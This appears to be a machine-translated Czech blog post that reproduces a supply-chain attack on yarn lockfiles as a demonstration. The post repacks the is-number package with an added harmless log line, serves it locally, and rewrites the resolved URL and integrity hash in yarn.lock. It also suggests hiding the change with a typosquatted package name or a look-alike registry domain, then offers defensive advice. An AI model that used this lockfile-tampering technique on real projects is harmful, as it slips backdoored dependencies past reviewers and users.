❗️❗️❗️ Nikomu neradím, aby skutečně backdooroval nějaké open source balíčky, je to vlastně naopak, pojďme udělat svět lepším místem.
V tomto článku chci zopakovat kroky popsané ve výzkumu z roku 2019 a zjistit, zda je to stále problém – Proč mohou být soubory npm lockfiles bezpečnostním slepým bodem pro vkládání škodlivých modulů.
Stručně řečeno, při instalaci závislostí se váš správce balíčků nejprve podívá do souborů zámků, jako je yarn.lock. Zde může najít název balíčku, přesnou verzi balíčku, odkaz na zdroje a kontroly integrity, což pomáhá identifikovat, zda balíček nebyl poškozen nebo pozměněn.
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Problém je v tom, že někdo může aktualizovat tento soubor zámku a vložit nový odkaz, který ukazuje na verzi balíčku se zadními vrátky . Zkusme replikovat tento útok a uvidíme, jak je to těžké.
Instalace balíčku
Jako příklad se pokusíme upravit balíček is-number. Na tomto balíčku není nic zvláštního, je jen malý, takže bude snadné jej upravit.
Pojďme to nainstalovat a zkontrolovat, zda to vůbec funguje.
yarn add is-number
index.js
const isNumber = require("is-number");
console.log(isNumber(1));
➜ malicious-lockfile git:(master) ✗ node index.js
true
příze.zámek
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Zatím je vše legitimní.
Kopírování balíčku
Jak možná víte nebo jste si všimli v souboru zámku dříve, balíčky jsou podávány jako soubory tgz. Není těžké si jej postavit sami, stačí použít vestavěný příkaz npm npm pack
.
mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file
Výstup:
➜ is-number git:(master) ✗ npm pack
npm notice
npm notice 📦 [email protected]
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name: is-number
npm notice version: 7.0.0
npm notice filename: is-number-7.0.0.tgz
npm notice package size: 3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum: a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity: sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files: 4
npm notice
is-number-7.0.0.tgz
To je v podstatě vše, k replikaci balíčku potřebujete pouze tyto kroky.
Změnit zdroje
Aktuální verze index.js je super jednoduchá.
/*!
* is-number <https://github.com/jonschlinkert/is-number>
*
* Copyright (c) 2014-present, Jon Schlinkert.
* Released under the MIT License.
*/
'use strict';
module.exports = function(num) {
if (typeof num === 'number') {
return num - num === 0;
}
if (typeof num === 'string' && num.trim() !== '') {
return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
}
return false;
};
Nedělejme nic špatného, ale vytiskneme Hello world 🌎
/*!
* is-number <https://github.com/jonschlinkert/is-number>
*
* Copyright (c) 2014-present, Jon Schlinkert.
* Released under the MIT License.
*/
'use strict';
module.exports = function(num) {
// --- NEW LINE ---
console.log('Hello world 🌎')
/// --- NEW LINE ---
if (typeof num === 'number') {
return num - num === 0;
}
if (typeof num === 'string' && num.trim() !== '') {
return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
}
return false;
};
Teď to zabalíme znovu, ale musíme vytisknout číslo integrity, které budeme potřebovat později, můžeme to udělat s --json
volba.
➜ is-number git:(master) ✗ npm pack --json
[
{
"id": "[email protected]",
"name": "is-number",
"version": "7.0.0",
"size": 3734,
"unpackedSize": 9649,
"shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
"integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
"filename": "is-number-7.0.0.tgz",
"files": [
{
"path": "LICENSE",
"size": 1091,
"mode": 420
},
{
"path": "README.md",
"size": 6514,
"mode": 420
},
{
"path": "index.js",
"size": 445,
"mode": 420
},
{
"path": "package.json",
"size": 1599,
"mode": 420
}
],
"entryCount": 4,
"bundled": []
}
]
Podávejte tento balíček
Pro tento experiment ho ani nebudeme publikovat na npm ani nikde jinde, můžeme tento soubor pouze naservírovat lokálně s http-serverem. Tento soubor bude místně přístupný přes http://127.0.0.1:8080/is-number-7.0.0.tgz
.
Změna souboru zámku
Posledním přípravným krokem je změnit soubor zámku, nebude to těžké, protože známe shasum a číslo integrity z předchozího kroku.
yarn.lock před:
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
yarn.lock po:
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==
Zkontrolujte, zda to funguje
Nejprve musíme vyčistit node_modules, také budeme muset vymazat mezipaměť příze, protože jinak nainstaluje oficiální verzi, kterou předtím uložil do mezipaměti (když jsme ji instalovali poprvé).
➜ malicious-lockfile git:(master) ✗ rm -rf node_modules
➜ malicious-lockfile git:(master) ✗ yarn cache clean
➜ malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍 Resolving packages...
[2/4] 🚚 Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗 Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨 Building fresh packages...
✨ Done in 0.17s.
Jak můžeme vidět v podrobné verzi, stáhli jsme místní verzi balíčku, takže to spustíme.
➜ malicious-lockfile git:(master) ✗ node index.js
Hello world 🌎
true
Proč na tom záleží?
Někoho už možná napadne:"Proč by mě to mělo zajímat? Aktualizoval jsi místní závislost a hacknul ses, dobrá práce brácho 🤣."
Problém je v tom, že to není tak jednoduché, když se podíváme, jak aktualizace souborů zámku obvykle vypadají v open source, uvidíme, že jsou ve většině případů před recenzenty skryté.
Btw, buďte upřímní právě teď, kolikrát předtím jste se osobně podívali na 500+ změn v souboru zámku?
Nebude tedy snadný úkol zaznamenat jednu změnu adresy URL v tomto bloku změn. Co když dokonce nahrajeme is-nomber
do npm? package.json
bude stále říkat, že používáme normální is-number
, ale nainstalujeme is-nomber
🤷 Hodně štěstí, když zjistíte jedno neshodné písmeno ve více než 700 změněných řádcích.
I když NPM začne odstraňovat chybně napsané balíčky jako is-nomber
, stále můžeme zaregistrovat yranpkg.com a napodobit tam přesnou cestu k balíčku. Hodně štěstí, když zaznamenáte změnu adresy URL o jedno písmeno ve více než 700 změněných řádcích.
Závěrečné poznámky
Musíte být obzvláště opatrní ohledně cizích lidí, kteří aktualizují závislosti ve vašem open source projektu. Může to vypadat jako první závazek studenta s otevřeným zdrojovým kódem, ale také to může být pokus o zadní vrátka od zkušeného černého klobouku. Možná byste dokonce měli povolit aktualizaci lockfiles a instalaci nových balíčků pouze prověřeným přispěvatelům, ale není to 💯 procento prověřené řešení (přečtěte si toto).
Dalším přístupem může být použití lockfile-lint, ale neměli byste se spoléhat pouze na tento skript, protože existují jiné ekosystémy než npm a mohou mít podobné problémy.
upd:Tento problém se netýká pouze příze, existují otevřené problémy/diskuse v pnpm, yarn1 &yarn2 a npm.
Související články
Dalším souvisejícím čtením by byla Pitva škodlivého backdoor streamu událostí
Pokud se vám tyto články líbily, podívejte se na tyto dva:
- https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
- https://medium.com/hackernoon/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9
Doufám, že jste se bavili 👋
Btw, buďme přátelé tady a na twitteru 👋